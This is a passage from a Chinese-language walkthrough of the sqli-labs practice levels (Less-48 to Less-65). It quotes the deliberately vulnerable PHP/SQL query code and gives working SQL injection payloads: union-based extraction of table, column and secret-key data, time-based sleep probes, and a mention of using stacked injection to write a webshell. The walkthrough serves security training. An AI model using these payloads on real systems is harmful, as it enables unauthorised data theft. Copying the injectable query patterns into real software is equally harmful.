//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'SORT:'.$id."\n");
fclose($fp);
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);
if ($result)
这一关没有页面回显
我们就考虑时间盲注-延时注入
Less-49
闭合问题
Less-50
进入题目,发现和之前题目是差不多的,我们输入依旧是会被拼接到orderby后面,于是按照以往思路尝试一下报错注入,发现这里确实是存在报错注入的,那么这题和前面题目的区别又在哪里呢我们看一下源码,发现了这么一个函数mysgli multi query,这个函数就是之前给所讲产生堆叠注入的函数,那么这里我们依旧可以尝试下堆叠注入,这里我们尝试利用堆叠写马
Less-51
闭合问题
Less-52
Less-53
闭合问题
Less54-57
Less-54
后面的关卡都是具有挑战性的,只能十次提交一个key来通关
判断注入点和闭合?id=1' and 1=1 -- +
判断字段数?id=1' order by 3-- +
判断显错位?id=-1' union select 1,2,3 -- +
判断表?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() -- +jhyl1sew5c
判断列?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='jhyl1sew5c' -- +
secret_S3OH
判断数据(key)?id=-1' union select 1,group_concat(secret_S3OH),3 from jhyl1sew5c -- +
RBUv9lzr2Ljs63FGiV7T34CU 搞进去试试
成功
Less-55
查看源码闭合问题
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
Less-56
闭合问题
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
Less-57
闭合
$id= '"'.$id.'"';
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
Less-58-61
Less-58
?id=1' and sleep(5)
判断注入点和闭合?id=1' and 1=1 -- +
判断字段数?id=1' order by 3-- +
Less-59
闭合问题就没有闭合
?id=1 and sleep(5)
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
Less-60
闭合问题
$id = '("'.$id.'")';
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
Less-61
闭合
$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";
Less-62-65
Less-62
利用burp suite抓包与之前关卡一致
Less-63
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
利用延时注入,判断注入点
其余关卡均是闭合问题
Less65
完结!!!